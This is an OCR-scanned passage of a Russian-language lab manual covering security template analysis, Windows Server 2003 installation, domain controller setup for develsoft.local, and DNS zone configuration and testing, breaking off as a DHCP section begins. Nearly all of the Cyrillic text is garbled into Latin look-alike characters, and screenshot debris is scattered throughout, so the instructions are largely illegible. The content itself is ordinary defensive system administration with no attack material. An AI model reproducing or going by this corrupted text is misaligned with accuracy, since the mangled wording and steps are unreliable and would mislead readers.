T kowon  geficroe Bua Wpawcs Qoo Cpasa  |=l&ix
e = | Bm| 2
I__H_] K OpeHE KoHEm ! _ -]
SR QIICL WY VMnopT wabnona S 2%
E@cw o = -
@ﬂﬂanmr o |l__j'tem,plates J « B cf E
policies “Yrootsec.inf
% compatws.inf % securede.inf
“%0C security,inf “Hsecurews.inf p bazy
:}Iisecd-:.ii }setup security.inf
A hisecws.inf
“Hiesacls.inf tHTy 0BnacTH
1]
OTKpEITE
M paiina  |hisecdc.inf
L HbIX
T un gaiinos: ILIJaﬁm:uH AE30NacHICTH ﬂﬁ] EI Orriena
HTY ofinact
[ DyYucTHTE 3Ty 633y A3HHEI NEDED, MMMOPTOM ,,/'; y
“

Z. WETFANTE UTRPEITE Uasy HaOAABTx
J. Beeawte vma HOBOR Baskl JaHHbIX M LU EKHWTE i

OTKpeITE
4. Bribepute wmnoptipyemeld $ain HacTp ok |

| '.
Puc. 7. Ilyte x b1

2. BBIOTHUM aHamu3 HACTPOEK OE30MaCHOCTH.
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[[lenkHeM npaBold KHOMKOW MbBIIIM HAa 3HAYKE OCHACTKU "Awanuz u nacmpouka

oezonachocmu", Be1oepeM "Auanuz komnovromepa', yKaXeM IIyTh U Ha3BaHue (daiiyia ¢
9 9

KypHAJoM OMHOOK (T.€. MPOTOKOJIOM MpOBeAcHUs aHanm3a), HaxxkMeM "OK", Oyaer

BBITIOJTHEHO CPaBHEHHE TEKYIIIUX HACTPOCK ¢ MapaMeTpamu maodiioHa (puc. 8.):

‘T4 Konconb1 - [Kopens nonconki AHaNKS i HacTpodka b

e

Eﬁ oHoone  fJercteme  Bua Msbpannoe  OwHo  Cnpaeka

« = [ Bn|2

== T e ot — e

] Kopens komconm

= @ WafinoHe: DesonacHoCTH CoznaHde NaHHBIE SHaNK33
-8 CAWINDOWSsecurity|templates
@ AHANKE H HACTPOMK 3 BEZONacHOCTH

1]

AHanvs De30NacHOCTH CHCTEMEI

AHANWBPYTCR

" HasHavetue npae DitwekTe Active Directon
NoNES0BSTERA

= [pYnns! © orpaHHYEHHEIM CHCTEMHLIE CNysbs
AOETUNON
4 Peectp MonuTHES Se30nacHOCTH

P SHN0BSA CHCTEMS

FoToso | |

Puc. 8. CpaBHeHHE TEKYIIIUX HACTPOEK C MapaMeTpamu IadiioHa
3. Ternepb MOXKHO TTPOBECTH YK€ HACTOSIIINN aHATU3 HACTPOEK OE30MacHOCTH.

OTtkpoem 000 pasaen ocHacTku (Hanpumep, "llorumuxu naponei", puc. 9.)
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Puc. 9. Ocnactka «[lomuTtika maposei»

Ha pucynke cpasy BUAHBI paCXOXKJIEHUS MEX]y HACTPOWKaMH HaIETO cepBepa
(cronbeny "llapamemp komneiomepa") U HacTpodkamu 1mabioHa (cToJGery
"Ilapamemp 6azvl danuvix') — BUIAHO, KaK MbI IOHU3WIM HACTPOWKE O€30MaCHOCTH
JUTSI IPOBEJICHUS TPAKTUYECKUX 3aHSITHM.

AHAJOTUYHO TIPOBOJWUTCS aHAJU3 BCEX OCTAIBHBIX PA3JeioOB  IOJHTHK
0€30MMacHOCTH.

DTOW K€ OCHACTKOM MOXHO OJHUM JICMCTBUEM IPUBECTH HACTPOMKHU HAILIETO
KOMITBIOTEPA B COOTBETCTBHH C IMapaMeTpamMu ImabdjioHa (MIEIKHYTh MPaBOW KHOITKOM
MBI HA 3HA4YKe OCHACTKU "Awanuz u Hacmpolika 6e3onacHocmu', BbIOpATh
"Hacmpoumov xomnwviomep"). He pekoMmeHAyeM A3TO JelaTh, HE U3YyUYHUB B JETAJIAX,
KaKue TIOCIICJICTBUS 3TO MOXKET TIOBJICYb IS BCel ceth. Bricoknme TpeOoBaHHS K
napamMeTpaMm 0€30MacHOCTH TMPEMSTCTBYIOT paboTe B gomene Active Directory
KoMIibtoTepoB ¢ cucremamu Windows 95/98/ME/NT. Hanpumep, qaHHbIE CHUCTEMBbI
noIep kMBat0T ypoBeHb ayreHTu(ukanmu NTLM Bepcun 2 (KOTOphI HazHAYAETCS

rrabnonamu hisecdc u hiSeCWs) ToJIbKO Ipu MPOBEACHUN OMPEACICHHBIX HACTPOCK Ha
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KOMITBIOTEPAX CO CTapbIMU cuUcTeMaMu. [1loaToMy, Tipexe 4eM MpUHUMATh PEIIeHUe
00 ycTaHOBKe Oojiee BBICOKHMX TapaMeTpOB OE€30MacHOCTH B CETH, HEO0OXOIUMO
TIIATENPHO HW3YYUTh COCTaB CETH, KakWe TpeOoBaHUS K cepBepaM U pabodnm
CTaHIUSAM TPEIBSIBISIOT T€ WJIM HWHBIC IMIA0JIOHBI OE30MaCHOCTH, MPEIBAPUTEIHHO
YCTaHOBUTH HY)XHBbIC OOHOBJICHHMS W HACTPOUTh HYXXHBIC MapaMeTpsl Ha "cTapbix"
CHUCTEMaxX W TOJBKO TOCTE JTOTO MPUMEHSITh K cepBepaM uU pPabOYMM CTaHIIUSIM
Windows 2000/XP/2003 m1a010HbI ¢ BRICOKUMHU YPOBHSIMH CETEBOM O€30MACHOCTH.
3aMeTUM JIOMOJIHUTEIBHO, YTO JaHHBIE OCHACTKM HMEIOTCS HE TOJBKO Ha
cepBepax, HO W Ha pabouux cTaHuusIXx noj ympasienuem Windows 2000/XP
Professional, 1 oHM MMO3BOJIAIOT MPOU3BOJIUTH AHAJIOTUYHBIN aHAIIU3 U HACTPOUKH Ha

pabounx MecTax Mojb30BaTeNeH.

3ananue Ne 1. Yemanoeka u nacmpouxa \Windows Server 2003

Heab padoTbl: HACTPOUTH KOMIBIOTEP Uil paboThl oA ynpaBieHueM Windows
Server 2003. Crenath cepBep kKoHTposuiepom ngomena develsoft.local.
VYopaxuenue 1. Ycranoska Windows Server 2003
DTO ynpa)XXHEHUE CIIEYET BBIIOIHITh HA KOMIIbIOTEPE, COBMECTUMOM ¢ Windows
Server 2003. IIpennonaraercsi, 4YT0 OCHOBHOM JKECTKUM AUCK MOJTHOCThIO yucT. Ecnu
JUCK YXe pa3OuT Ha pasueibl, MOXHO H3MCHHTHh YIPAXHEHUE COTJIACHO
KOH(HUTyparuu Bamiei CUCTEMBI.

1. B BIOS xomnbloTepa mim KOHTpoJiepa aucka 3aaaite 3arpy3ky ¢ CD-ROM.
Eciu BBl He 3HaeTe, Kak 3TO cJenath, OOpaTHUTECh K COOTBETCTBYIOIIEH
JIOKyMEHTAIUH.

2. BcraBbTe ycraHoBouHBIM kommakT-auck Windows Server 2003 B mpuBog CD-
ROM wu nepesarpy3ure KOMITBIOTED.

3. Ecmu ocHOBHOI NHCK HE TMYCT, TOSIBUTCS COOOIIEHUE C MPEIOKEHUEM HaXKaTh
m00yI0 KJIABUIILY, YTOOBI 3arpy3UTh KOMIIBIOTEp C KOMIIAKT-AUCKA. Eciu BbI

YBUIUTE TaKo€ COOOIIeHHWe, HaXMuTe 00y kiasuiry. [locie 3arpysku
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KOMITBIOTEpA HEHAJOJT0 TOSBHUTCA COOOIIeHHe 00 aHanmu3e KOH(HUryparuu
CUCTEMBI, a 3aTEM OTKpOeTCsl OKHO Y cTraHoBKa Windows (Windows Setup).

. Ecnmm  xoMmbroTepy HYXHBI CIEIHAIbHBIE ApalBEphl ISl 3alIOMUHAIOIIAX
YCTPOWCTB, KOTOphIX HeT B kKomruiekte Windows Server 2003, maxmute F6,
KOTJla  TOSBUTCS  COOTBETCTBYIOIIEE  COOOIEHHE, U  MPEJOCTABHTE
COOTBETCTBYIOIIUE APANBEPHI.

.Cucrema mnpennoxxut Haxatb F2, 4ToObl BBHINOJHUTH aA6MOMAMUYUECKOE
asapuiinoe éoccmanosienue cucmemot (Automated System Recovery , ASR).
Oto HoBasg QyHkuus Windows Server 2003, npuiuenmas Ha cMEeHY (DyHKIUU
ouck aeapuiinozo éoccmanoeénenus (Emergency Repair Disk) B npenpimymmx
Bepcusax Windows. He naxxumaiite F2 Ha aTom sTane. Y craHOBKa MpOJOJIKUTCS.
3ameThTe: Cephlii WHAWKATOP BHU3Y SKpaHA TMOKAa3bIBACT, YTO BBITOIHICTCS
IIpOBEpKa KOMITbIOTEPA U 3arpy3ka (aiioB. 1o Heooxoaumo s 3amycka OC c
MHUHHUMAaJIbHBIM HA0OPOM JIpaiiBEpOB.

. Ecnu BBl ycTanaBnuBaere npoOHyto Bepcuto Windows Server 2003, oTkpoetcs
okHo Setup Notification, npouutaiiTe uHDOPMALUIO U IS MPOJOJLKEHUS
HaxmuTe Kiapunry Enter. [Iporpamma ycTaHOBKH OTOOpPa3UT OKHO MPUBETCTBUS.
3amerbTe, uTo NMoMuMo ycTtaHoBku Windows Server 2003 Ha YHCTBIA JHCK,
nporpaMMmy Setup MOXKHO HCHOJB30BaTh ISl BOCCTAHOBICHHS MOBPEKICHHON
cuctembr Windows.

. [IpounTaiite napopmainio B okHe Bac mpuBeTCTBYET NMporpaMMa yCTaHOBKH
(Welcome To Setup) u mis nmpomoipkeHus HaxMuTe Kiapuiny Enter. ITosButcs
okHO JInuensuonHoe corsamenne (License Agreement).

. [IpounTaiiTe JUICH3MOHHOE COTJAIICHHWE: i1 TPOKPYTKH TEKCTa BHU3
HaXuManTe kiasuiny Page Down.

. Haxkmure F8, uroObl npuHsaTh ycioBus cornamenus. Otkpoercss okHo Windows
Server 2003 Setup ¢ npemioKEeHHEM BbIOpaTh 00JacTh CBOOOHOIO
MPOCTPAHCTBA WJIU CYIECTBYIOMIMKA pasnen, Kyna Oyner ycranoiena OC. Ha

JAHHOM JTall€ Bbl MOKCTC CO3AaTb WJIM YAAJIWUTL pa3fciibl Ha KCCTKOM IUCKC.
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10.

11.

12,

13.

14,

JUis BBITIOJTHEHUS YNPaXHEHUHW HEO0OXOJUMO CO3[aTh JOCTATOYHO OOJBIION
pasznen, Ha kotopoMm mnomecturcs OC (pekomenayercss He meHee 3 ['0), u
mMuHuMyM 1 T'0 HepacmpeneneHHoro mnpocTpaHcTBa. JlanbHeiline nelcTBUs
MpENoiaraloT, 4YTo pa3Mep Baliero aucka He MeHee 4 I'0 U OH B JaHHBIN
MOMEHT YUCT. BBl MOKETE CKOPPEKTUPOBATH MPOLEAYPY [0 CUTYALIHH.

Haxxmure knaBuiry C, 4To0bl cO31aTh pa3zell.

Uro6wl co3naTh pazaen pazmepom 3 I'0, B mone Co3narh pasjaen pasMepom
(MB) [Create Partition Of Size (In MB )] Beeaure 3072 u naxkmute Enter.
Brei6epute C: Pasnenl [Hoswlii (mHedopm.)] (C: Partition 1 [New(Raw)]) u
Ha)XMUTE KiaBuiny Enter. Bam Oyaer npennoskeHo BEIOpaTh (PaitjIoByrO0 CUCTEMY
IUTSL 3TOTO paszjena.

Yb6enurech, YTO YCTAHOBIEH INepekitodaresb PopMaTupoBaTh pasies B
cucteme NTFS (Format The Partition Using The NTFS File System) u
Haxxmute Enter. Ilporpamma ycranoBku otdopmatupyet pazaen noa NTEFS,
IIPOBEPUT KECTKUM JMCK Ha HaIMuue (PU3NYECKUX OIIMOOK, KOTOPHIE MOTYT
MOMeIIaTh YCTAHOBKE, CKOMUPYET (Paiiiibl Ha )KECTKUM IUCK U HAUHET YCTAaHOBKY.
DTO 3ailMeT HECKOJbKO MHHYT. llocnme 3Toro mnosiBUTCS KpacHasi CTpOKa
COCTOSIHUS, OTCUMTHIBAKOIIAs Ha3al 15 cekyHa 10 nepe3arpy3kd KOMIbIOTEpPA U
nepexoja Npouecca yCTAaHOBKU B TpapUUeCcKUil pexuM.

ITocne 3aBepiieHHs] yCTAHOBKU B TEKCTOBOM PEXHME CUCTEMA MEPEe3arpyx aercs.
He naxumaiiTe KiIaBuIly i 3arpy3Kd C KOMIAKT-JUCKA, €CJIHM TOSBUTCA
cooTBeTcTByMOIIEe coobuieHne. Windows Setup 3amycTuT rpaduueckuit
MOJIb30BATEILCKUN MHTEpPEIC, TEMOHCTPUPYIONINI HA JIEBOW MaHETu MPOIECC
yCcTaHOBKU. Bbl yBuauTe, 4to oTMeueHbl (uaxkku COop wuHpopManuu
(Collecting Information), /lunamu4yeckoe ooHoBJieHre (Dynamic Update) u
IMoaroroBka k ycranoBke (Preparing Installation). Coop uHbopmanmu Obu1
3aBEPILEH JI0 Iepexoaa B rpa@uueckuil pexxum, a JMHAMU4YeCKoe OOHOBJICHUE HE
MPUMEHSIETCA TPU 3allyCKe C KOMIIAKT-AucKa. Temnepb cucremMa TOTOBUTCA K

YCTaHOBKE U KOMUPYET (pailiibl Ha HKECTKUI TUCK.
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15.

Ha ctpanuue S3pIk u pernoHajibHble ctanaaptbl (Regional And Language

Options) BeiOepuTe HEOOX0MUMBIE TapaMmeTpbl 1 mienkauTe Jamee (Next).

Cogem: Bbl cMO)XeTe U3MEHUTh PErHMOHANbHBIE MapameTpsl nocie yctaHoBku OC,

16.

17,

18.

19.

UCIIONIBb3Ysl 3JeMEHT SI3bIKk M pernoHajbHble cranaaprsl (Regional And
Language Options) u3 Ilanenu ynpasnenus.

[Iporpamma ycTtaHoBKM oTOOpa3zut crTpanully HacTpoiika nmpHHALIEKHOCTH
nporpamMm (Personalize Your Software), rie Bam OyzieT npeayioxKeHO yKa3aTh
CBOE MMl M Ha3BaHHE OPTaHU3ALINH.

B mnonme Hma (Name) BBeaute cBoe uMsd, a B mnose OpraHusanus
(Organization) — Ha3BaHue opranu3aiiy, mocie uero menkaure Jamnee (Next).
Otkpoercs ctpanuna Kirwu npoaykra (Your Product Key).

Beenure ko4 mpoaykra, MpUIAraéMbld K YCTAHOBOYHOMY KOMIAKT-AUCKY
Windows Server 2003, u menkaute Jdasee (Next). OTKkpoeTcs 1HaOroBoe OKHO
Pexumbl unen3upoBanus (Licensing Modes) ¢ mnpeiokeHreM BbIOpaTh
PEXKUM JIMLEH3UPOBAHMSL.

Yo6enutech, uto B nosie «Ha cepBep». Uncjio 0IHOBpeMEHHBIX MOAKIIOYEHUI
(Per Server Number Of Concurrent Connections) ykazaHo 5, ¥ IIEIKHUTE
Hanee (Next).

Buumanue! Taxoil éapuanm nuyeH3uposarus u nimv 00HOBPEMEHHbLX NOOKIIOUEHU

— peKoMeHOyeMble 3HAYeHUs Ol CAMOCMOAMENbHO20 00yueHus. Bvl 0onoicHbl
8600UMb KOAUYECMBO OOHOBPEMEHHBIX NOOKIIOUEHUL CO2NIACHO NPUOOPEmeHHOU
nuyensuu. Taxoce modxcno eviopamsv eapuanm «Ha ycmpoiicmeo unu na
noavzoeamens» (Per Device Or Per User).

Otkpoercst crpanniia HMmsi KoMmblOTepa W NAapoJib  aAMHHHCTPaTopa
(Computer Name And Administrator Password). 3ameTrsTe, 4TO mporpaMma
YCTaHOBKH IIpcajiaract HWMsI KOMIIBIOTCPAa Ha OCHOBC HA3BAHUWA Balleu
OopraHu3aluu. Ecnn BBI ocTaBMiIM PTO IOJIE IMyCTbIM, IIporpamMma YCTaHOBKH

CITCHCPUPYCT YaCTb MMCHHU KOMITIBIOTCPA, UCITOJIB3Y: BaAlllC UMA.
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20.

B none Umsa komnbioTepa (Computer Name) BBenute Server2003. Nwms
KOMIIBIOTEpa OTOOpaKaeTCs 3ariIaBHBIMU OYKBaMHU HE3aBUCHMO OT TOTO, B KAKOM
PETHCTPE BBl €r0 BBOAWTE. B MPAKTUYECKUX YIPAKHEHUSX BCETO KOMIUICKCA

Oynet ynmomuHatbes Server2003.

Buumanme! Eciu saw Komnsromep NOOKIIOYEH K cemu, nocoeemyﬁmea) C cemesbim

21,

AOMUHUCMPAMOPOM, NPeHCOe Yem HA3HAYAMb UMSL.

B 1nonax IMlapoas aamunucrparopa (Administrator Password) wu
IMoarBep:xaenue naposs (Confirm Password) BBenuTe CIOXHBIA MapoJib IJIs
y4yeTHOU 3amucu Aomunucmpamop (Administrator) (Takoil, KOTOPBIA HENb3S
IPOCTO yrajaTh). 3alOMHUTE €ro, MOCKOJIbKY MPH BBIMOJIHEHUH OOJBITMHCTBA
MPaKTUYECKUX YIPAXKHEHUN Kypca Bbl OyJIeT€ BXOJIUTh B CUCTEMY MOJ YYETHOM

3alUChI0 AOMUunucmpamop.

Buumaunme! Eciu w1 ycmanasnuseaeme Windows Server 2003 epyunyro, mo He

22,

23.

cmModiceme ne peumu K HOCAeOYIOWUM Wiaeam, NOKA He egedeme NApolb
aomMuHucmpamopa, Y00871em8opsaouull mpeooBaHuIM CONCHOCTIU.
Llonyckaemcs secmu nycmotu napoib, Xoms 3mo KpauHe HeicelamelbHo.

Ecnu Ha cepBepe yCTaHOBIIEH MOJIEM, OTKPOETCS AUaIOoroBoe okHO CBeaeHus 0
moaeme (Modem Dialing Information).

Beeaute MexayropoaHuil TenedOHHBIM KOJ Balled MECTHOCTH M ILIEIKHUTE
HManee (Next). Otkpoercs ctpanunua Hacrpoiika Bpemenn u natbl (Date And
Time Settings).

Beenure Tounyo naty, Bpems U yacoBou nosic u menkaute Jlanee (Next).

Buumanme! Paboma cnysco Windows Server 2003 3asucum om Hacmpoex oamul u

spemeHu. Yboeoumeco, umo oama u epems 3a0ambl MOYHO U YKA3AH NPAGUTbHBIL

yaco6oll noac 0JiA aulell MeCmHoCmu.

24. Ha ctpanuiie CereBble mnapamerpbl (Networking Settings) BreiOepute

Oo0brunbie mapamerpbl (Typical Settings) u wmenknure [dasee (Next).
Otkpoercs ctpanuia Padouas rpynna win nomen (Workgroup Or Computer

Domain).
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25. YOeautech, 4TO BBIOpaH MEpBbI BapuaHT, a uMi rpynnsl — Workgroup, mocie
yero mienkHute J[lamee (Next). Ilporpamma Setup yCTaHOBUT W HACTPOUT
octanbHble kKommnoHeHThl OC. I[locie 3aBepieHHs YCTAHOBKH KOMIIBIOTEP
aBTOMATUYECKU  Tepe3arpy3uTcsi, M  OTKPOETCS  JMajJoroBO€  OKHO
Onepanuonnasi cucrema Windows (Welcome To Windows).

26. Haxxwmure Ctrl + Alt + Delete, yTo0b1 M”HUIIMUPOBATH BXOJ B CHCTEMY, M BBEIIUTE
1apoJib, KOTOPBIA BBl 3a7ald JUIs ydYeTHOW 3amucu Aomunucmpamop (
Administrator ).

Ilpumeuanue: Hexomopwie peoaxkyuu Windows Server 2003 mpebytom axmusayuu
yepez Unmepnem unu no meneg)ony 6 meuenue 14 Ouell nocie yCMAaHOBKU.
Jluyensuro na Windows Server 2003 ne mpebyemcs akmuuposams, eciu OHA
npuoopemena 6 pamMKax OOHOU U3 MACCO8bIX NPOSPAMM JUYEHIUPOBAHUS.
Microsoft .

27. lllenkHATE TIOJCKA3Ky Ha CHCTEMHOW TIaHEIW, YTOObI HadaTh AaKTHUBAIHIO
Windows Server 2003. CneayiiTe HHCTPYKIIUSIM Ha SKpaHe.

Ilpumeuanue: J[nsn axmueayuu uepe3z Humeprnem neobX00uMO NOOCOEOUHUND
Server2003 k cemu u npu neobxooumocmu ykazams HyxcHuiti |P-aopec, macky
noocemu, w03 no ymonyanuro u aopec DNS-cepsepa 6 nacmpoiikax npomokona

TCP/IP ons cemesot niameoi.

VYupaxuenue 2. Hactpoiika cepBepa

B sTOoM ympakHeHHWM BBl CIENAaeTe CEpPBEP MEPBHIM KOHTPOJJIEPOM B JIOMEHE
Active Directory ¢ umenem develsoft.local.
Ilpumeuanue Onucannvlil HUdCE Npoyecc YCMaHO8KU npeononazaem, umo Mactep
ycraHnoBku Active Directory 3zanyckaemcs 6 uzonuposannou cemu. Ecau 6wl
NOOKIIOYEHbl K Cemu ¢ Opy2umM KOHMPOJIEPOM OOMEHA, Npoyecc YCMAaHo8Ku Oyoem
OMIAUYAMBCA, U 8b1 MOXHCeme TUOO USMEHUMb 8blOOp CO2NACHO KOHuUaypayuu eauieti

cemu, JUOO OMKIIOUUMBCS OM Cemi neped 6bINOJIHEHUEM MO0 YRPANHCHEHUAL.

420



. OTkpoiiTe cTpaHully YHnpaBJjieHue JaHHbIM cepBepoM (Manage Your Server)
B rpymie nporpaMm AamMunHucTpupoBanme (Administrative Tools).

. lllenknure [lo0aBurh wiaum yaaautb pojb (Add Or Remove A Role).
Otkpoercss okHO Macmep nacmpouxku cepsepa (Configure Your Server
Wizard).

. lenkuure Jlamee (Next), MacTep TMONBITAETCA ONPEACIUTh CETEBBIC
napaMeTphbl.

. llenkuure TunmoBas HacTpoiika aiasa mnepBoro cepsepa (Typical
Configuration For A First Server), a 3atem /lanee ( Next ).

. B mone Ums nomena B Active Directory (Active Directory Domain Name)
BBeaute develsoft.local.

. Yoenutecn, uro B mojie NetBIOS- ums momena (NetBIOS Domain Name)
ykazaHo DEVELSOFT, u menkuute anee (Next).

. Yoeautech, uro okHO CBoaka BbIOpaHHbIX mnapamerpoB (Summary Of
Selections) cooTBeTcTBYyeT MoOKa3aHHOMY Ha puc. 2.6, u menkautre Jamee

(Next).
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MacTep HACTPOHKH CEpBEpA il
CeoAKa EbIOpaHHLIX NapaMeTpos
MPOCHMOTE M NOATEED® AEHHME ERIOpAHHEL: NApaMETDOE. E
CEoAKa:

WrTaHoeka DHCP-repeepa (ecnn TpedyeTcA)

¥CTaHoBka Active Directory M DN3-cepeepa (wCTaHOBKAa A&GHHOMD CEPEEPa B KaYeCTES KOHTPONNERa
AnkEHa)

Z03A48HHE NONHOMD A0OMEHHOMD MMeHH: develsoft, local

AnA H3MEHEHHA ERIOPaHHEIX NAPAMETPOE HA¥MHTE KHOMEY "Hazaas", JAnA npoAonseHHa HAacTPOMEK
A3HHOA POAK HAKMKTE KHonkEY " Janss",

= Hazan OTHEHS | CNpaeka |

Puc. 10. Oxno «CBOaAKa BLIOPAHHBIX IAPAMETPOB)» MAacTepa HACTPOUKH CEpPBEpa

8. Macrtep HanmOMHHUT, YTO cHUCTeMa OyJleT mepe3arpy’keHa, U MOMPOCUT 3aKPHITh
BCE OTKPBITHIC TPOTPAMMBI.

9. Illenkuute Ja (Yes).

10.Ilocne  mepe3arpy3kd BOMAMTE B CUCTEMY Kak AoMuHucmpamop
(Administrator).

11.MacTep HaCTpPOMKHU cepBepa Pe3rOMUPYET yCTaHOBKY (puc. 11.).

12.1llenxuute Jdasee (Next), a 3atem I'otoBo (Finish).

13.0tkpoiite koHcomb Active Directory — mnonszosamenu u xomnvromepol
(Active Directory Users And Computers). VYoOeautrech, YTO I0MEH
develsoft.local co3man: packpoiitTe ero u HalaWTe YUYETHYIO 3allHCh

kommbroTepa 175 Server2003 B OIT Domain Controllers.
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MacTep HACTPOHKW CEpBEpa

BLINOAHEHWE HACTPOHKW CEpPBEpAa
BEINONHAKITCA CREAYHOWME BRIDPaHHEIE ASHCTENA,

HazHa4MTE cTaTHYECKHA IP-aapec:

“YcT1aHoeka DHCP-cepeepa

YCTaHoeka Active Directary

YeTaHoeka DMNS-cepeepa

HazHaq4eHHe DMS-nepeHanpaenTena: 127.0.0.1

HacTpofka M akTHEWSaUMA ofnacti DHCP: 10,10.20,10 - 10,10,20, 254

AeTopHzauma DHCP-cepeepa & Active Directory

LS T T T

WCTAHOEHMTE KOHTEKCT HAHMEHOEAHHA NPHNO¥EHHA B Active Directory Ha AaHHEIA
KOHTRONNER A0MEHS ANA MCNONES0EAHHMA KNHEHTCKHMH NPHACHEHHAMA TAPL

BEINDAHEHME HACTPOMIKH CEpEBEpa;

HacTpokka cepeepa saEEPWIEHA.

< Hazan OTHEHS | CNpaeka |

Puc. 11. OxHO «BbInoJIHeHHEe HACTPOIKHU CepBepay MAacTEpa HACTPOUKHU CEpBEpa

3aganue Ne 2. Hacmpouxka DNS-cepeep

esiu padoThbI:
* HAyYUThCSl KOH(MUryprupoBaTh 30HbI DNS;
* HAYYUThCSl TECTUPOBATh ci1y>k0y DNS.
VYupaxuenue 1. Cosznmaiite 30Hy npsimoro npocmotpa develsoft.local.
VYka3aHus K BBIIIOJTHEHHUIO
B 3amamnmu Nel mnpu BBINOJHEHWHM YIPaXHEHHS 2, Mbl CHENAdud CEpBEp
KoHTpoJutepoM gomeHa develsoft.local, u mpu 3ToM MBI cpasy caenanu 30HY IPSIMOTO

IPOCMOTPA.
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- -
H} Server 2003 (Chumok 1) [Paboraer] - Sun VirtualBox E‘E‘g

Mawwna Yerpoiictea  Cnpaska

& Ynpasnenve gaHHbin cepeepom

..i'.. dnsmgmt - [DNS'966044E9A8F24CB", 30Hb1 NpAMOro NpocMoTpa)
3,1 KoHcone  JeficTeMe  BWA  OkHO  Crpaska -|E’|ﬂ I

«=» | BE PR 2E 8 A

* DNS e
= 30HbI NPAMOro NPOCMOTPA  30H: 2
=6 966044E9AGF24CE

ED J0HE! NPAMOr0 MPOCMOTRE
" msdlcs develsoft local @_msdcs.develsuft.local liHTErpHpoEa,.. PafoTaeT

5] develsoft local @develsnft.lucal WHTerpupoga...  PafioTaer

-] 3omel afipaTHoro npockoTpa
@ MpacraTp cobbrmHA

HazgaHre Thn COCTOAHHE

( Iy
| |

X OTICT CoeooCo

| | -
lf!i'l'l'.-'n:m{ J é @ J J WNpaEnEHHE LaHHEIM C&. ., ” ﬁdnsmgmt-[DNS\gﬁﬁ_,_ J ‘ ’m
@ ,{? |j I @ E'Fu’ghtConh'ul

Puc. 12. 3ona npsimoro npocmoTtpa develsoft.local

Ynpasicnenue 2. Co3zoaiime 30Hy oOpamnozo npocmompa (011
npeoopazosanusn |P-adpeca ¢ oomennoe ums)
Yka3aHusl K BbIIIOJTHEHHIO
1. B y3ne Reverse Lookup Zones (30HBI 00paTHOTO MHPOCMOTpA) MICIKHUTE
MpaBoil KHONKOM MbIK U BbiOepuTe New zone (MacTtep co3/iaHusi HOBOM 30HBI).
2. B okne Zone Type (Tum 30ub1) ykaxkute Primary Zone (OcHoBHasi 30Ha) U
Haxxmute Next.
3. YOenutech, uto BhIOpaH mnepekitoyatens Network ID (Homep cetu). B momne
noa HUM BBenute azapec Bamed cet (192.168.1). Tlone Reverse Lookup Zone Name
(ms 30HBI 00paTHOTrO MPOCMOTpPA) BHU3Y OKHA JIOJDKHO BBHITIISIAETH Tak: 1.168.192.in-

addr.arpa.
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4. 3aBepimmuTe pabOTy MacTepa, OCTABUB BCE HACTPOUKH 10 YMOIYAHHIO.

5. lllenkHuTte mpaBoi KHOMKOM MBIIIK 10 HOBOMY Y311y B Reverse Lookup Zones
(192.168.1.x Subnet) u Bet6epute New Pointer (HoBrrit ykazarens). [locneaaee uucio
YCTaHOBUTE paBHBIM mociieqHemMy uncity B IP-anpece. B nmone Host name (Mms xocta)

3aIUIIUTE MTOJIHOE MM y37a, Harpumep server.develsoft.local.

‘ _i._ dnsmgmt - [DNS, 966044E9A8F24CB" 3o1b1 0bpaTHoro npocMoTpa’192.168.1.% Subnet] - |D|ﬂ
Eq KoHoone  JefcTeue  BWa  OkHo  Cripaeka -|5‘|ﬂ
¢4 B XFRR AW EEME

,J;J.,DNS 192.168.1.x Subnet 33
=% B 900044E380F24CH

Ha3BaHHE= Thn JHaYEHHE
EI CI 30HE MPAMOrD NPOCHOTPA
I'-! msds.develsoft boca (8K Nanka BepxHErD YPOBHA]  HA4aNbHaA 3aMMck 30He ... [1], 9660448958 24ch. deve. .,
o develsaft.local (KaK MarKa BepxHErD YpoBHA)  Cepeep HieH (HS) 9560446958 24ch, develsoft, .,
EI D 3EIHI:-I cuﬁpamnrn MpOCHATRS 192.168.1,294 Y¥razaTent (FTR) server, develsoft.local

..... @ 192.168.1 I|J|:||—||"r

@ MpacHoTh EDEbITHH

Puc. 13. 30Hb1 00paTHOTO MPOCMOTpPa

Ynpasicnenue 3. Ilpomecmupyiime padomy ciayxncoot DNS

Yka3aHusi K BbINOJHEHHIO

Wcnons3yitTe yrunauTsl ping, nslookup.

B nepeBe koHCOMM OTKPOWTE CBOMCTBA y3JIa Yepe3 KOMaHIy KOHTEKCTHOTO MEHIO
Properties (CBoiicTBa).

Ilepeiinure Ha Bkianky Monitoring (Habmonenue).

B rpynme Select A Test Type (Boibeputre Tum tecrta) momeThTe (GiIakku A

Simple Query Against This DNS Server (Ilpocroii 3anpoc k 3tomy DNS-cepBepy) u
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Recursive Query To Other DNS Servers (PexypcuBHbiii 3ampoc k apyrum DNS-
cepBepaM). lllenkuure kHOMIKY Test Now (TectupoBats).

B cmucke Test Results (Pe3ynpTaTsl TecTa) mpoTuB 00enx 3amuceil Bbl yBUANUTE
PASS (tect mpoiizen). Ecau Bbl paGoTaere Ha aBTOHOMHOM CEpBepe, HAIMpPOTUB

Recursive Query (PexypcuBnsbiii 3anpoc) Bbl yBuaute FAIL (ommOka).

Ynpaowcnenue 4. Cronghuzypupyiime xkiuenma 011 ucnonv3o8anus CiayyHcont
DNS
Yka3aHus K BbINOJTHEHHIO

1. Ha xnmenTte oTkpoiite mauanoroBoe okHO ero cBoictB TCP/IP. Hactpoiite
CUCTEeMY JJIsl aBTOMaTU4YeCKoro noyiydeHus ajapeca DNS (3T1o obecrieunBaeT cepBep
DHCP) W BPYYHYIO ykaxure [P-agpeca mnpenmnoyTuTensHOro u
JOTIOJTHUTENIBHOTO cepBepoB DNS.

2. Jlma HacCTpOWKM JONOJIHMTENBHBIX MapaMeTpoB DNS IIenKHUTE KHONIKY
Advanced ([JonomuutensHo). YToObl 3amaTe mapamerpsl DNS, B 1uajioroBom OKHe
Advanced TCP/IP Settings ([Jonomuutensusie mapamerpsl TCP/IP) nmepelingute Ha
Bkiaaky DNS. 3nech MOXHO CKOH(UTYpUpOBaTh U TapaMeTphbl, 00ECIIEUUBAIOIIUE
paspeleHue UMEH Y3JI0B, AJI1 KOTOPBIX HE ObUIO yKa3aHO IMOJHOE JOMEHHOE UMS, U

HaCTPOUTH MapaMeTpbl peructpanuu DNS.

3aganune Ne 3. Hacmpouxa DHCP-cepgep

Hean padorbl. Hayunthes HacTpanBaTh o0nacTs aeiictBuss DHCP-cepsepa.
Utob6p1 HacTtpouth cepBep DHCP, BamM HyXHO mnpojenaTh CICAYIOIIYIO
MOCJIEAOBATEILHOCTD NEHCTBUM:
